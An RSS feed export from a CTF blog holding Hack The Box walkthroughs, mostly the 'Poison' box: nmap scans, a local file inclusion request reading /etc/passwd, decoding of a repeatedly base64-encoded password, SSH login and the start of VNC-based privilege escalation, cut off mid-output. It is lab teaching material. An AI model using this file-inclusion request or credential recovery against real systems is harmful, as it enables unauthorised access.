<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Capturetheflags.com]]></title><description><![CDATA[Thoughts, tools and walkthroughs for CTF.]]></description><link>https://www.capturetheflags.com/</link><image><url>https://www.capturetheflags.com/favicon.png</url><title>Capturetheflags.com</title><link>https://www.capturetheflags.com/</link></image><generator>Ghost 3.42</generator><lastBuildDate>Fri, 24 Apr 2026 12:02:35 GMT</lastBuildDate><atom:link href="https://www.capturetheflags.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Bounty - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Enumeration</p>
<p>As always, lets start with a full nmap scan</p>
<p>&nbsp;</p>
<p>[bash]</p>
<p>Nmap scan report for 10.10.10.93<br>
Host is up (0.021s latency).<br>
Not shown: 998 filtered ports<br>
PORT STATE SERVICE VERSION<br>
80/tcp open http Microsoft IIS httpd 7.5<br>
| http-methods:<br>
|_ Potentially risky methods: TRACE<br>
|_http-server-header:</p>]]></description><link>https://www.capturetheflags.com/temp-slug-17/</link><guid isPermaLink="false">602ed4610bcf7d0001010785</guid><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Thu, 18 Feb 2021 20:56:01 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Enumeration</p>
<p>As always, lets start with a full nmap scan</p>
<p>&nbsp;</p>
<p>[bash]</p>
<p>Nmap scan report for 10.10.10.93<br>
Host is up (0.021s latency).<br>
Not shown: 998 filtered ports<br>
PORT STATE SERVICE VERSION<br>
80/tcp open http Microsoft IIS httpd 7.5<br>
| http-methods:<br>
|_ Potentially risky methods: TRACE<br>
|_http-server-header: Microsoft-IIS/7.5<br>
|_http-title: Bounty<br>
3389/tcp open ms-wbt-server?<br>
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</p>
<p>[/bash]</p>
<p>Nmap shows a http service at port 80 and some weird Microsoft service at 3389. Lets browse to see what we can find.</p>
<p>&nbsp;</p>
<p>PICTURE MERLIN</p>
<p>&nbsp;</p>
<p>A wizard&#8230; That&#8217;s weird. Maybe a Marlin exploit? Anyway, the source inspection didn&#8217;t show anything. Lets fire up gobuster to get some info on the site.</p>
<p>[bash]</p>
<p>gobuster -u 10.10.10.93 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50</p>
<p>=====================================================<br>
Gobuster v2.0.0 OJ Reeves (@TheColonial)<br>
=====================================================<br>
[+] Mode : dir<br>
[+] Url/Domain : http://10.10.10.93/<br>
[+] Threads : 50<br>
[+] Wordlist : /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt<br>
[+] Status codes : 200,204,301,302,307,403<br>
[+] Timeout : 10s<br>
=====================================================<br>
2018/11/16 20:29:20 Starting gobuster<br>
=====================================================<br>
/aspnet_client (Status: 301)<br>
/uploadedfiles (Status: 301)<br>
=====================================================<br>
2018/11/16 20:29:22 Finished<br>
=====================================================</p>
<p>[/bash]</p>
<p>&nbsp;</p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Bounty - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Great box over at hackthebox.eu, which learned me a nifty new trick. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, we start with a full nmap scan:</p>
<div>
<div id="highlighter_734682" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
<div class="line number4 index3 alt1">4</div>
<div class="line number5 index4 alt2">5</div>
<div class="line number6 index5 alt1">6</div>
<div class="line number7 index6 alt2">7</div>
<div class="line number8 index7 alt1">8</div>
<div class="line number9 index8 alt2">9</div>
<div class="line number10 index9 alt1">10</div>
<div class="line number11 index10 alt2">11</div>
<div class="line number12 index11 alt1">12</div>
<div class="line number13 index12 alt2">13</div>
<div class="line number14 index13 alt1">14</div>
<div class="line number15 index14 alt2">15</div>
<div class="line number16 index15 alt1">16</div>
<div class="line number17 index16 alt2">17</div>
<div class="line number18 index17 alt1">18</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash functions">sudo</code> <code class="bash plain">nmap -sV -sC -oA initial</code></div></div></td></tr></tbody></table></div></div>]]></description><link>https://www.capturetheflags.com/temp-slug-16/</link><guid isPermaLink="false">602ed4610bcf7d0001010784</guid><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Thu, 18 Feb 2021 20:56:01 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Great box over at hackthebox.eu, which learned me a nifty new trick. Lets get started!</p>
<h1>Enumeration</h1>
<p>As always, we start with a full nmap scan:</p>
<div>
<div id="highlighter_734682" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
<div class="line number4 index3 alt1">4</div>
<div class="line number5 index4 alt2">5</div>
<div class="line number6 index5 alt1">6</div>
<div class="line number7 index6 alt2">7</div>
<div class="line number8 index7 alt1">8</div>
<div class="line number9 index8 alt2">9</div>
<div class="line number10 index9 alt1">10</div>
<div class="line number11 index10 alt2">11</div>
<div class="line number12 index11 alt1">12</div>
<div class="line number13 index12 alt2">13</div>
<div class="line number14 index13 alt1">14</div>
<div class="line number15 index14 alt2">15</div>
<div class="line number16 index15 alt1">16</div>
<div class="line number17 index16 alt2">17</div>
<div class="line number18 index17 alt1">18</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash functions">sudo</code> <code class="bash plain">nmap -sV -sC -oA initial -p- 10.10.10.84</code></div>
<div class="line number2 index1 alt1"></div>
<div class="line number3 index2 alt2"><code class="bash plain">Nmap scan report </code><code class="bash keyword">for</code> <code class="bash plain">10.10.10.84</code></div>
<div class="line number4 index3 alt1"><code class="bash plain">Host is up (0.038s latency).</code></div>
<div class="line number5 index4 alt2"><code class="bash plain">Not shown: 65533 closed ports</code></div>
<div class="line number6 index5 alt1"><code class="bash plain">PORT STATE SERVICE VERSION</code></div>
<div class="line number7 index6 alt2"><code class="bash plain">22</code><code class="bash plain">/tcp</code> <code class="bash functions">open</code> <code class="bash functions">ssh</code> <code class="bash plain">OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)</code></div>
<div class="line number8 index7 alt1"><code class="bash plain">| </code><code class="bash functions">ssh</code><code class="bash plain">-hostkey:</code></div>
<div class="line number9 index8 alt2"><code class="bash plain">| 2048 e3:3b:7d:3c:8f:4b:8c:f9:</code><code class="bash functions">cd</code><code class="bash plain">:7f:d2:3a:ce:2d:ff:bb (RSA)</code></div>
<div class="line number10 index9 alt1"><code class="bash plain">| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)</code></div>
<div class="line number11 index10 alt2"><code class="bash plain">|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)</code></div>
<div class="line number12 index11 alt1"><code class="bash plain">80</code><code class="bash plain">/tcp</code> <code class="bash functions">open</code> <code class="bash plain">http Apache httpd 2.4.29 ((FreeBSD) PHP</code><code class="bash plain">/5</code><code class="bash plain">.6.32)</code></div>
<div class="line number13 index12 alt2"><code class="bash plain">|_http-server-header: Apache</code><code class="bash plain">/2</code><code class="bash plain">.4.29 (FreeBSD) PHP</code><code class="bash plain">/5</code><code class="bash plain">.6.32</code></div>
<div class="line number14 index13 alt1"><code class="bash plain">|_http-title: Site doesn't have a title (text</code><code class="bash plain">/html</code><code class="bash plain">; charset=UTF-8).</code></div>
<div class="line number15 index14 alt2"><code class="bash plain">Service Info: OS: FreeBSD; CPE: cpe:</code><code class="bash plain">/o</code><code class="bash plain">:freebsd:freebsd</code></div>
<div class="line number16 index15 alt1"></div>
<div class="line number17 index16 alt2"><code class="bash plain">Service detection performed. Please report any incorrect results at https:</code><code class="bash plain">//nmap</code><code class="bash plain">.org</code><code class="bash plain">/submit/</code> <code class="bash plain">.</code></div>
<div class="line number18 index17 alt1"><code class="bash plain">Nmap </code><code class="bash keyword">done</code><code class="bash plain">: 1 IP address (1 host up) scanned </code><code class="bash keyword">in</code> <code class="bash plain">413.45 seconds</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>So we have port 80 running a HTTP service and port 22 running SSH.</p>
<p>Browsing to webpage displays the following:</p>
<p><img loading="lazy" class="alignnone wp-image-188 size-full" src="http://capturetheflags.com/wp-content/uploads/2018/08/Screenshot-from-2018-08-22-18-33-35.png" sizes="(max-width: 1493px) 100vw, 1493px" srcset="https://www.capturetheflags.com/wp-content/uploads/2018/08/Screenshot-from-2018-08-22-18-33-35.png 1493w, https://www.capturetheflags.com/wp-content/uploads/2018/08/Screenshot-from-2018-08-22-18-33-35-300x157.png 300w, https://www.capturetheflags.com/wp-content/uploads/2018/08/Screenshot-from-2018-08-22-18-33-35-768x403.png 768w, https://www.capturetheflags.com/wp-content/uploads/2018/08/Screenshot-from-2018-08-22-18-33-35-1024x537.png 1024w" alt width="1493" height="783"></p>
<p>We can run the following commands: Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php</p>
<p>info.php reveals the following:</p>
<div>
<div id="highlighter_362061" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash plain">FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE </code><code class="bash comments">#0 r321309: Fri Jul 21 02:08:28 UTC 2017 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The machine runs FreeBSD 11.1. This might come in handy later. Running listfiles.php shows:</p>
<div>
<div id="highlighter_838707" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash plain">Array ( [0] =. [1]; .. [2]; browse.php [3]; index.php; info.php; ini.php; listfiles.php; phpinfo.php; pwdbackup.txt )</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>That sounds like an interesting file. First lets see what happens when we change the parameter after the file= part:</p>
<div>
<div id="highlighter_81951" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
<div class="line number4 index3 alt1">4</div>
<div class="line number5 index4 alt2">5</div>
<div class="line number6 index5 alt1">6</div>
<div class="line number7 index6 alt2">7</div>
<div class="line number8 index7 alt1">8</div>
<div class="line number9 index8 alt2">9</div>
<div class="line number10 index9 alt1">10</div>
<div class="line number11 index10 alt2">11</div>
<div class="line number12 index11 alt1">12</div>
<div class="line number13 index12 alt2">13</div>
<div class="line number14 index13 alt1">14</div>
<div class="line number15 index14 alt2">15</div>
<div class="line number16 index15 alt1">16</div>
<div class="line number17 index16 alt2">17</div>
<div class="line number18 index17 alt1">18</div>
<div class="line number19 index18 alt2">19</div>
<div class="line number20 index19 alt1">20</div>
<div class="line number21 index20 alt2">21</div>
<div class="line number22 index21 alt1">22</div>
<div class="line number23 index22 alt2">23</div>
<div class="line number24 index23 alt1">24</div>
<div class="line number25 index24 alt2">25</div>
<div class="line number26 index25 alt1">26</div>
<div class="line number27 index26 alt2">27</div>
<div class="line number28 index27 alt1">28</div>
<div class="line number29 index28 alt2">29</div>
<div class="line number30 index29 alt1">30</div>
<div class="line number31 index30 alt2">31</div>
<div class="line number32 index31 alt1">32</div>
<div class="line number33 index32 alt2">33</div>
<div class="line number34 index33 alt1">34</div>
<div class="line number35 index34 alt2">35</div>
<div class="line number36 index35 alt1">36</div>
<div class="line number37 index36 alt2">37</div>
<div class="line number38 index37 alt1">38</div>
<div class="line number39 index38 alt2">39</div>
<div class="line number40 index39 alt1">40</div>
<div class="line number41 index40 alt2">41</div>
<div class="line number42 index41 alt1">42</div>
<div class="line number43 index42 alt2">43</div>
<div class="line number44 index43 alt1">44</div>
<div class="line number45 index44 alt2">45</div>
<div class="line number46 index45 alt1">46</div>
<div class="line number47 index46 alt2">47</div>
<div class="line number48 index47 alt1">48</div>
<div class="line number49 index48 alt2">49</div>
<div class="line number50 index49 alt1">50</div>
<div class="line number51 index50 alt2">51</div>
<div class="line number52 index51 alt1">52</div>
<div class="line number53 index52 alt2">53</div>
<div class="line number54 index53 alt1">54</div>
<div class="line number55 index54 alt2">55</div>
<div class="line number56 index55 alt1">56</div>
<div class="line number57 index56 alt2">57</div>
<div class="line number58 index57 alt1">58</div>
<div class="line number59 index58 alt2">59</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash plain">http:</code><code class="bash plain">//10</code><code class="bash plain">.10.10.84</code><code class="bash plain">/browse</code><code class="bash plain">.php?</code><code class="bash functions">file</code><code class="bash plain">=</code><code class="bash plain">/etc/passwd</code></div>
<div class="line number2 index1 alt1"></div>
<div class="line number3 index2 alt2"><code class="bash comments"># $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr</code></div>
<div class="line number4 index3 alt1"></div>
<div class="line number5 index4 alt2"><code class="bash plain">$ </code><code class="bash comments"># root:*:0:0:Charlie &amp;amp;amp;amp;amp;amp;:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root:</code></div>
<div class="line number6 index5 alt1"></div>
<div class="line number7 index6 alt2"><code class="bash plain">daemon:*:1:1:Owner of many system processes:</code><code class="bash plain">/root</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code></div>
<div class="line number8 index7 alt1"></div>
<div class="line number9 index8 alt2"><code class="bash plain">operator:*:2:5:System &amp;amp;amp;amp;amp;amp;:/:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">bin:*:3:7:Binaries Commands and</code></div>
<div class="line number10 index9 alt1"></div>
<div class="line number11 index10 alt2"><code class="bash plain">Source:/:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash functions">tty</code><code class="bash plain">:*:4:65533:Tty Sandbox:/:</code><code class="bash plain">/usr/sbin/nologin</code></div>
<div class="line number12 index11 alt1"></div>
<div class="line number13 index12 alt2"><code class="bash plain">kmem:*:5:65533:KMem Sandbox:/:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">games:*:7:13:Games</code></div>
<div class="line number14 index13 alt1"></div>
<div class="line number15 index14 alt2"><code class="bash plain">pseudo-user:/:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">news:*:8:8:News</code></div>
<div class="line number16 index15 alt1"></div>
<div class="line number17 index16 alt2"><code class="bash plain">Subsystem:/:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash functions">man</code><code class="bash plain">:*:9:9:Mister Man</code></div>
<div class="line number18 index17 alt1"></div>
<div class="line number19 index18 alt2"><code class="bash plain">Pages:</code><code class="bash plain">/usr/share/man</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">sshd:*:22:22:Secure Shell</code></div>
<div class="line number20 index19 alt1"></div>
<div class="line number21 index20 alt2"><code class="bash plain">Daemon:</code><code class="bash plain">/var/empty</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">smmsp:*:25:25:Sendmail Submission</code></div>
<div class="line number22 index21 alt1"></div>
<div class="line number23 index22 alt2"><code class="bash plain">User:</code><code class="bash plain">/var/spool/clientmqueue</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">mailnull:*:26:26:Sendmail</code></div>
<div class="line number24 index23 alt1"></div>
<div class="line number25 index24 alt2"><code class="bash plain">Default User:</code><code class="bash plain">/var/spool/mqueue</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">bind:*:53:53:Bind</code></div>
<div class="line number26 index25 alt1"></div>
<div class="line number27 index26 alt2"><code class="bash plain">Sandbox:/:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">unbound:*:59:59:Unbound DNS</code></div>
<div class="line number28 index27 alt1"></div>
<div class="line number29 index28 alt2"><code class="bash plain">Resolver:</code><code class="bash plain">/var/unbound</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">proxy:*:62:62:Packet Filter pseudo-</code></div>
<div class="line number30 index29 alt1"></div>
<div class="line number31 index30 alt2"><code class="bash plain">user:</code><code class="bash plain">/nonexistent</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">_pflogd:*:64:64:pflogd privsep</code></div>
<div class="line number32 index31 alt1"></div>
<div class="line number33 index32 alt2"><code class="bash plain">user:</code><code class="bash plain">/var/empty</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">_dhcp:*:65:65:dhcp</code></div>
<div class="line number34 index33 alt1"></div>
<div class="line number35 index34 alt2"><code class="bash plain">programs:</code><code class="bash plain">/var/empty</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">uucp:*:66:66:UUCP pseudo-</code></div>
<div class="line number36 index35 alt1"></div>
<div class="line number37 index36 alt2"><code class="bash plain">user:</code><code class="bash plain">/var/spool/uucppublic</code><code class="bash plain">:</code><code class="bash plain">/usr/local/libexec/uucp/uucico</code> <code class="bash plain">pop:*:68:6:Post</code></div>
<div class="line number38 index37 alt1"></div>
<div class="line number39 index38 alt2"><code class="bash plain">Office Owner:</code><code class="bash plain">/nonexistent</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">auditdistd:*:78:77:Auditdistd</code></div>
<div class="line number40 index39 alt1"></div>
<div class="line number41 index40 alt2"><code class="bash plain">unprivileged user:</code><code class="bash plain">/var/empty</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">www:*:80:80:World Wide Web</code></div>
<div class="line number42 index41 alt1"></div>
<div class="line number43 index42 alt2"><code class="bash plain">Owner:</code><code class="bash plain">/nonexistent</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">_ypldap:*:160:160:YP LDAP unprivileged</code></div>
<div class="line number44 index43 alt1"></div>
<div class="line number45 index44 alt2"><code class="bash plain">user:</code><code class="bash plain">/var/empty</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">hast:*:845:845:HAST unprivileged</code></div>
<div class="line number46 index45 alt1"></div>
<div class="line number47 index46 alt2"><code class="bash plain">user:</code><code class="bash plain">/var/empty</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">nobody:*:65534:65534:Unprivileged</code></div>
<div class="line number48 index47 alt1"></div>
<div class="line number49 index48 alt2"><code class="bash plain">user:</code><code class="bash plain">/nonexistent</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">_tss:*:601:601:TrouSerS</code></div>
<div class="line number50 index49 alt1"></div>
<div class="line number51 index50 alt2"><code class="bash plain">user:</code><code class="bash plain">/var/empty</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">messagebus:*:556:556:D-BUS Daemon</code></div>
<div class="line number52 index51 alt1"></div>
<div class="line number53 index52 alt2"><code class="bash plain">User:</code><code class="bash plain">/nonexistent</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">avahi:*:558:558:Avahi Daemon</code></div>
<div class="line number54 index53 alt1"></div>
<div class="line number55 index54 alt2"><code class="bash plain">User:</code><code class="bash plain">/nonexistent</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code> <code class="bash plain">cups:*:193:193:Cups</code></div>
<div class="line number56 index55 alt1"></div>
<div class="line number57 index56 alt2"><code class="bash plain">Owner:</code><code class="bash plain">/nonexistent</code><code class="bash plain">:</code><code class="bash plain">/usr/sbin/nologin</code></div>
<div class="line number58 index57 alt1"></div>
<div class="line number59 index58 alt2"><code class="bash plain">charix:*:1001:1001:charix:</code><code class="bash plain">/home/charix</code><code class="bash plain">:</code><code class="bash plain">/bin/csh</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>So our user is probably charix.</p>
<p>Lets see what is in that pwdbackup.txt file by using: http://10.10.10.84/browse.php?file=pwdbackup.txt</p>
<div>
<div id="highlighter_957711" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash plain">This password is secure, it's encoded atleast 13 </code><code class="bash functions">times</code><code class="bash plain">.. what could go wrong really..</code></div>
<div class="line number2 index1 alt1"></div>
<div class="line number3 index2 alt2"><code class="bash plain">Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>Looking at the way the key was constructed, it looks like a base64 encoded key. The hint points us to that it is probably encoded 13 times. I’ve used the <a href="https://gchq.github.io/CyberChef/">Cyberchef from GCHQ</a> to decrypt the thing. It gives us the following key</p>
<div>
<div id="highlighter_510206" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash plain">Charix!2</code><code class="bash comments">#4%6&amp;amp;amp;amp;8(0</code></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The only service we’ve seen so far is the SSH service.</p>
<h1>Exploitation</h1>
<p>ssh 10.10.10.84 -l charix</p>
<p>Password: Charix!2#4%6&amp;8(0</p>
<p>And we’re logged in.</p>
<h1>Privilege Escalation</h1>
<p>After running LinEnum, I noticed that a VNC service is running as root. To further explore this. Running LinEnum, I see that root is running VNC on 5901 and 5801, as well as sshd (which I already used to get access to the box). So, I probably need to setup a SSH tunnel to this machine and use VNC viewer to get access to the VNC-sessions on the Poisoin host.</p>
<p>I do the following:</p>
<div>
<div id="highlighter_285412" class="syntaxhighlighter  bash">
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
<div class="line number1 index0 alt2">1</div>
<div class="line number2 index1 alt1">2</div>
<div class="line number3 index2 alt2">3</div>
<div class="line number4 index3 alt1">4</div>
<div class="line number5 index4 alt2">5</div>
<div class="line number6 index5 alt1">6</div>
<div class="line number7 index6 alt2">7</div>
<div class="line number8 index7 alt1">8</div>
<div class="line number9 index8 alt2">9</div>
<div class="line number10 index9 alt1">10</div>
<div class="line number11 index10 alt2">11</div>
<div class="line number12 index11 alt1">12</div>
<div class="line number13 index12 alt2">13</div>
<div class="line number14 index13 alt1">14</div>
<div class="line number15 index14 alt2">15</div>
<div class="line number16 index15 alt1">16</div>
<div class="line number17 index16 alt2">17</div>
<div class="line number18 index17 alt1">18</div>
<div class="line number19 index18 alt2">19</div>
<div class="line number20 index19 alt1">20</div>
<div class="line number21 index20 alt2">21</div>
<div class="line number22 index21 alt1">22</div>
<div class="line number23 index22 alt2">23</div>
<div class="line number24 index23 alt1">24</div>
<div class="line number25 index24 alt2">25</div>
<div class="line number26 index25 alt1">26</div>
<div class="line number27 index26 alt2">27</div>
<div class="line number28 index27 alt1">28</div>
<div class="line number29 index28 alt2">29</div>
<div class="line number30 index29 alt1">30</div>
<div class="line number31 index30 alt2">31</div>
<div class="line number32 index31 alt1">32</div>
</td>
<td class="code">
<div class="container">
<div class="line number1 index0 alt2"><code class="bash plain">charix@Poison:~ % sockstat -l</code></div>
<div class="line number2 index1 alt1"><code class="bash plain">USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS </code></div>
<div class="line number3 index2 alt2"><code class="bash plain">www httpd 713 3 tcp6 *:80 *:*</code></div>
<div class="line number4 index3 alt1"><code class="bash plain">www httpd 713 4 tcp4 *:80 *:*</code></div>
<div class="line number5 index4 alt2"><code class="bash plain">www httpd 712 3 tcp6 *:80 *:*</code></div>
<div class="line number6 index5 alt1"><code class="bash plain">www httpd 712 4 tcp4 *:80 *:*</code></div>
<div class="line number7 index6 alt2"><code class="bash plain">www httpd 711 3 tcp6 *:80 *:*</code></div>
<div class="line number8 index7 alt1"><code class="bash plain">www httpd 711 4 tcp4 *:80 *:*</code></div>
<div class="line number9 index8 alt2"><code class="bash plain">root sendmail 642 3 tcp4 127.0.0.1:25 *:*</code></div>
<div class="line number10 index9 alt1"><code class="bash plain">www httpd 641 3 tcp6 *:80 *:*</code></div>
<div class="line number11 index10 alt2"><code class="bash plain">www httpd 641 4 tcp4 *:80 *:*</code></div>
<div class="line number12 index11 alt1"><code class="bash plain">www httpd 640 3 tcp6 *:80 *:*</code></div>
<div class="line number13 index12 alt2"><code class="bash plain">www httpd 640 4 tcp4 *:80 *:*</code></div>
<div class="line number14 index13 alt1"><code class="bash plain">www httpd 639 3 tcp6 *:80 *:*</code></div>
<div class="line number15 index14 alt2"><code class="bash plain">www httpd 639 4 tcp4 *:80 *:*</code></div>
<div class="line number16 index15 alt1"><code class="bash plain">www httpd 638 3 tcp6 *:80 *:*</code></div>
<div class="line number17 index16 alt2"><code class="bash plain">www httpd 638 4 tcp4 *:80 *:*</code></div>
<div class="line number18 index17 alt1"><code class="bash plain">www httpd 637 3 tcp6 *:80 *:*</code></div>
<div class="line number19 index18 alt2"><code class="bash plain">www httpd 637 4 tcp4 *:80 *:*</code></div>
<div class="line number20 index19 alt1"><code class="bash plain">root httpd 625 3 tcp6 *:80 *:*</code></div>
<div class="line number21 index20 alt2"><code class="bash plain">root httpd 625 4 tcp4 *:80 *:*</code></div>
<div class="line number22 index21 alt1"><code class="bash plain">root sshd 620 3 tcp6 *:22 *:*</code></div>
<div class="line number23 index22 alt2"><code class="bash plain">root sshd 620 4 tcp4 *:22 *:*</code></div>
<div class="line number24 index23 alt1"><code class="bash plain">root Xvnc 529 0 stream </code><code class="bash plain">/tmp/</code><code class="bash plain">.X11-unix</code><code class="bash plain">/X1</code></div>
<div class="line number25 index24 alt2"><code class="bash plain">root Xvnc 529 1 tcp4 127.0.0.1:5901 *:*</code></div>
<div class="line number26 index25 alt1"><code class="bash plain">root Xvnc 529 3 tcp4 127.0.0.1:5801 *:*</code></div>
<div class="line number27 index26 alt2"><code class="bash plain">root syslogd 390 4 dgram </code><code class="bash plain">/var/run/log</code></div>
<div class="line number28 index27 alt1"><code class="bash plain">root syslogd 390 5 dgram </code><code class="bash plain">/var/run/logpriv</code></div>
<div class="line number29 index28 alt2"><code class="bash plain">root syslogd 390 6 udp6 *:514 *:*</code></div>
<div class="line number30 index29 alt1"><code class="bash plain">root syslogd 390 7 udp4 *:514 *:*</code></div>
